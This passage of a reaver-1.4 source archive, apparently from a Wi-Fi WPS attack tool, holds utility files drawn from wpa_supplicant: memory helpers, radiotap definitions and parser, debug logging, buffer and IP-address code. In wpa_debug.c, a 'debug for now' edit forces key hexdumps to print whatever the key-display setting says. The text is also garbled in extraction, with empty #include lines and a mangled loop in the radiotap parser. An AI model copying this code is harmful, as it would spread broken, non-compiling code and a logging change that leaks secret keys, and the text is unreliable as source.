0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } #ifndef WPA_TRACE void * os_zalloc(size_t size) { return calloc(1, size); } #endif /* WPA_TRACE */ size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } #ifdef WPA_TRACE void * os_malloc(size_t size) { struct os_alloc_trace *a; a = malloc(sizeof(*a) + size); if (a == NULL) return NULL; a->magic = ALLOC_MAGIC; dl_list_add(&alloc_list, &a->list); a->len = size; wpa_trace_record(a); return a + 1; } void * os_realloc(void *ptr, size_t size) { struct os_alloc_trace *a; size_t copy_len; void *n; if (ptr == NULL) return os_malloc(size); a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "REALLOC[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_realloc() call"); abort(); } n = os_malloc(size); if (n == NULL) return NULL; copy_len = a->len; if (copy_len > size) copy_len = size; os_memcpy(n, a + 1, copy_len); os_free(ptr); return n; } void os_free(void *ptr) { struct os_alloc_trace *a; if (ptr == NULL) return; a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "FREE[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_free() call"); abort(); } dl_list_del(&a->list); a->magic = FREED_MAGIC; wpa_trace_check_ref(ptr); free(a); } void * os_zalloc(size_t size) { void *ptr = os_malloc(size); if (ptr) os_memset(ptr, 0, size); return ptr; } char * os_strdup(const char *s) { size_t len; char *d; len = os_strlen(s); d = os_malloc(len + 1); if (d == NULL) return NULL; os_memcpy(d, s, len); d[len] = '\0'; return d; } #endif /* WPA_TRACE */ reaver-1.4/src/utils/radiotap.h0000755000175000017500000002165011705505257016115 0ustar reaverreaver/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ #endif /* IEEE80211_RADIOTAP_H */ reaver-1.4/src/utils/wpa_debug.c0000755000175000017500000002075611705505257016250 0ustar reaverreaver/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #ifdef CONFIG_DEBUG_SYSLOG #include static int wpa_debug_syslog = 0; #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef CONFIG_DEBUG_FILE static FILE *out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ int wpa_debug_level = MSG_INFO; int wpa_debug_show_keys = 0; int wpa_debug_timestamp = 0; #ifndef CONFIG_NO_STDOUT_DEBUG void wpa_debug_print_timestamp(void) { struct os_time tv; if (!wpa_debug_timestamp) return; os_get_time(&tv); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } else #endif /* CONFIG_DEBUG_FILE */ printf("%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void) { openlog("wpa_supplicant", LOG_PID | LOG_NDELAY, LOG_DAEMON); wpa_debug_syslog++; } void wpa_debug_close_syslog(void) { if (wpa_debug_syslog) closelog(); } static int syslog_priority(int level) { switch (level) { case MSG_MSGDUMP: case MSG_DEBUG: return LOG_DEBUG; case MSG_INFO: return LOG_NOTICE; case MSG_WARNING: return LOG_WARNING; case MSG_ERROR: return LOG_ERR; } return LOG_INFO; } #endif /* CONFIG_DEBUG_SYSLOG */ /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_printf(int level, const char *fmt, ...) { va_list ap; /* @@@ debug for now @@@ */ //wpa_debug_level = MSG_MSGDUMP; va_start(ap, fmt); if (level >= wpa_debug_level) { #ifdef CONFIG_DEBUG_SYSLOG if (wpa_debug_syslog) { vsyslog(syslog_priority(level), fmt, ap); } else { #endif /* CONFIG_DEBUG_SYSLOG */ wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { vfprintf(out_file, fmt, ap); fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ vprintf(fmt, ap); printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ #ifdef CONFIG_DEBUG_SYSLOG } #endif /* CONFIG_DEBUG_SYSLOG */ } va_end(ap); } static void _wpa_hexdump(int level, const char *title, const u8 *buf, size_t len, int show) { show = 1; size_t i; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { fprintf(out_file, " [NULL]"); } else if (show) { for (i = 0; i < len; i++) fprintf(out_file, " %02x", buf[i]); } else { fprintf(out_file, " [REMOVED]"); } fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ printf("%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { printf(" [NULL]"); } else if (show) { for (i = 0; i < len; i++) printf(" %02x", buf[i]); } else { printf(" [REMOVED]"); } printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, 1); } void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, wpa_debug_show_keys); } static void _wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len, int show) { size_t i, llen; const u8 *pos = buf; const size_t line_len = 16; /* @@@ debug for now @@@ */ show = 1; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { if (!show) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } fprintf(out_file, "%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; fprintf(out_file, " "); for (i = 0; i < llen; i++) fprintf(out_file, " %02x", pos[i]); for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, " "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) fprintf(out_file, "%c", pos[i]); else fprintf(out_file, "_"); } for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, "\n"); pos += llen; len -= llen; } } else { #endif /* CONFIG_DEBUG_FILE */ if (!show) { printf("%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { printf("%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; printf(" "); for (i = 0; i < llen; i++) printf(" %02x", pos[i]); for (i = llen; i < line_len; i++) printf(" "); printf(" "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) printf("%c", pos[i]); else printf("_"); } for (i = llen; i < line_len; i++) printf(" "); printf("\n"); pos += llen; len -= llen; } #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, 1); } void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, wpa_debug_show_keys); } int wpa_debug_open_file(const char *path) { #ifdef CONFIG_DEBUG_FILE if (!path) return 0; out_file = fopen(path, "a"); if (out_file == NULL) { wpa_printf(MSG_ERROR, "wpa_debug_open_file: Failed to open " "output file, using standard output"); return -1; } #ifndef _WIN32 setvbuf(out_file, NULL, _IOLBF, 0); #endif /* _WIN32 */ #endif /* CONFIG_DEBUG_FILE */ return 0; } void wpa_debug_close_file(void) { #ifdef CONFIG_DEBUG_FILE if (!out_file) return; fclose(out_file); out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifndef CONFIG_NO_WPA_MSG static wpa_msg_cb_func wpa_msg_cb = NULL; void wpa_msg_register_cb(wpa_msg_cb_func func) { wpa_msg_cb = func; } void wpa_msg(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg: Failed to allocate message " "buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_printf(level, "%s", buf); if (wpa_msg_cb) wpa_msg_cb(ctx, level, buf, len); os_free(buf); } void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; if (!wpa_msg_cb) return; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg_ctrl: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_msg_cb(ctx, level, buf, len); os_free(buf); } #endif /* CONFIG_NO_WPA_MSG */ #ifndef CONFIG_NO_HOSTAPD_LOGGER static hostapd_logger_cb_func hostapd_logger_cb = NULL; void hostapd_logger_register_cb(hostapd_logger_cb_func func) { hostapd_logger_cb = func; } void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "hostapd_logger: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); if (hostapd_logger_cb) hostapd_logger_cb(ctx, addr, module, level, buf, len); else if (addr) wpa_printf(MSG_DEBUG, "hostapd_logger: STA " MACSTR " - %s", MAC2STR(addr), buf); else wpa_printf(MSG_DEBUG, "hostapd_logger: %s", buf); os_free(buf); } #endif /* CONFIG_NO_HOSTAPD_LOGGER */ reaver-1.4/src/utils/wpabuf.h0000755000175000017500000001011011705505257015563 0ustar reaverreaver/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPABUF_H #define WPABUF_H /* * Internal data structure for wpabuf. Please do not touch this directly from * elsewhere. This is only defined in header file to allow inline functions * from this file to access data. */ struct wpabuf { size_t size; /* total size of the allocated buffer */ size_t used; /* length of data in the buffer */ u8 *ext_data; /* pointer to external data; NULL if data follows * struct wpabuf */ /* optionally followed by the allocated buffer */ }; int wpabuf_resize(struct wpabuf **buf, size_t add_len); struct wpabuf * wpabuf_alloc(size_t len); struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len); struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len); struct wpabuf * wpabuf_dup(const struct wpabuf *src); void wpabuf_free(struct wpabuf *buf); void * wpabuf_put(struct wpabuf *buf, size_t len); struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b); struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len); void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpabuf_size - Get the currently allocated size of a wpabuf buffer * @buf: wpabuf buffer * Returns: Currently allocated size of the buffer */ static inline size_t wpabuf_size(const struct wpabuf *buf) { return buf->size; } /** * wpabuf_len - Get the current length of a wpabuf buffer data * @buf: wpabuf buffer * Returns: Currently used length of the buffer */ static inline size_t wpabuf_len(const struct wpabuf *buf) { return buf->used; } /** * wpabuf_tailroom - Get size of available tail room in the end of the buffer * @buf: wpabuf buffer * Returns: Tail room (in bytes) of available space in the end of the buffer */ static inline size_t wpabuf_tailroom(const struct wpabuf *buf) { return buf->size - buf->used; } /** * wpabuf_head - Get pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline const void * wpabuf_head(const struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline const u8 * wpabuf_head_u8(const struct wpabuf *buf) { return wpabuf_head(buf); } /** * wpabuf_mhead - Get modifiable pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline void * wpabuf_mhead(struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline u8 * wpabuf_mhead_u8(struct wpabuf *buf) { return wpabuf_mhead(buf); } static inline void wpabuf_put_u8(struct wpabuf *buf, u8 data) { u8 *pos = wpabuf_put(buf, 1); *pos = data; } static inline void wpabuf_put_le16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_LE16(pos, data); } static inline void wpabuf_put_be16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_BE16(pos, data); } static inline void wpabuf_put_be24(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 3); WPA_PUT_BE24(pos, data); } static inline void wpabuf_put_be32(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 4); WPA_PUT_BE32(pos, data); } static inline void wpabuf_put_data(struct wpabuf *buf, const void *data, size_t len) { if (data) os_memcpy(wpabuf_put(buf, len), data, len); } static inline void wpabuf_put_buf(struct wpabuf *dst, const struct wpabuf *src) { wpabuf_put_data(dst, wpabuf_head(src), wpabuf_len(src)); } static inline void wpabuf_set(struct wpabuf *buf, const void *data, size_t len) { buf->ext_data = (u8 *) data; buf->size = buf->used = len; } static inline void wpabuf_put_str(struct wpabuf *dst, const char *str) { wpabuf_put_data(dst, str, os_strlen(str)); } #endif /* WPABUF_H */ reaver-1.4/src/utils/radiotap_iter.h0000755000175000017500000000230511705505257017134 0ustar reaverreaver#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @rtheader: pointer to the radiotap header we are walking through * @max_length: length of radiotap header in cpu byte ordering * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg * @this_arg: pointer to current radiotap arg * @arg_index: internal next argument index * @arg: internal next argument pointer * @next_bitmap: internal pointer to next present u32 * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *rtheader; int max_length; int this_arg_index; unsigned char *this_arg; int arg_index; unsigned char *arg; uint32_t *next_bitmap; uint32_t bitmap_shifter; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length); extern int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ reaver-1.4/src/utils/ip_addr.c0000755000175000017500000000322111705505257015701 0ustar reaverreaver/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ip_addr.h" const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen) { if (buflen == 0 || addr == NULL) return NULL; if (addr->af == AF_INET) { os_strlcpy(buf, inet_ntoa(addr->u.v4), buflen); } else { buf[0] = '\0'; } #ifdef CONFIG_IPV6 if (addr->af == AF_INET6) { if (inet_ntop(AF_INET6, &addr->u.v6, buf, buflen) == NULL) buf[0] = '\0'; } #endif /* CONFIG_IPV6 */ return buf; } int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b) { if (a == NULL && b == NULL) return 0; if (a == NULL || b == NULL) return 1; switch (a->af) { case AF_INET: if (a->u.v4.s_addr != b->u.v4.s_addr) return 1; break; #ifdef CONFIG_IPV6 case AF_INET6: if (os_memcmp(&a->u.v6, &b->u.v6, sizeof(a->u.v6)) != 0) return 1; break; #endif /* CONFIG_IPV6 */ } return 0; } int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr) { #ifndef CONFIG_NATIVE_WINDOWS if (inet_aton(txt, &addr->u.v4)) { addr->af = AF_INET; return 0; } #ifdef CONFIG_IPV6 if (inet_pton(AF_INET6, txt, &addr->u.v6) > 0) { addr->af = AF_INET6; return 0; } #endif /* CONFIG_IPV6 */ #endif /* CONFIG_NATIVE_WINDOWS */ return -1; } reaver-1.4/src/utils/radiotap.c0000755000175000017500000002227211705505257016111 0ustar reaverreaver/* * Radiotap parser * * Copyright 2007 Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * * Modified for userspace by Johannes Berg * I only modified some things on top to ease syncing should bugs be found. */ #include "includes.h" #include "common.h" #include "radiotap_iter.h" #define le16_to_cpu le_to_host16 #define le32_to_cpu le_to_host32 #define __le32 uint32_t #define ulong unsigned long #define unlikely(cond) (cond) #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) /* function prototypes and related defs are in radiotap_iter.h */ /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: * See Documentation/networking/radiotap-headers.txt */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length) { /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < le16_to_cpu(get_unaligned(&radiotap_header->it_len))) return -EINVAL; iterator->rtheader = radiotap_header; iterator->max_length = le16_to_cpu(get_unaligned( &radiotap_header->it_len)); iterator->arg_index = 0; iterator->bitmap_shifter = le32_to_cpu(get_unaligned( &radiotap_header->it_present)); iterator->arg = (u8 *)radiotap_header + sizeof(*radiotap_header); iterator->this_arg = NULL; /* find payload start allowing for extended bitmap(s) */ if (unlikely(iterator->bitmap_shifter & (1<arg)) & (1<arg += sizeof(u32); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong)iterator->max_length) return -EINVAL; } iterator->arg += sizeof(u32); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } /* we are all initialized happily */ return 0; } /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { /* * small length lookup table for all radiotap types we heard of * starting from b0 in the bitmap, so we can walk the payload * area of the radiotap header * * There is a requirement to pad args, so that args * of a given length must begin at a boundary of that length * -- but note that compound args are allowed (eg, 2 x u16 * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not * a reliable indicator of alignment requirement. * * upper nybble: content alignment for arg * lower nybble: content length for arg */ static const u8 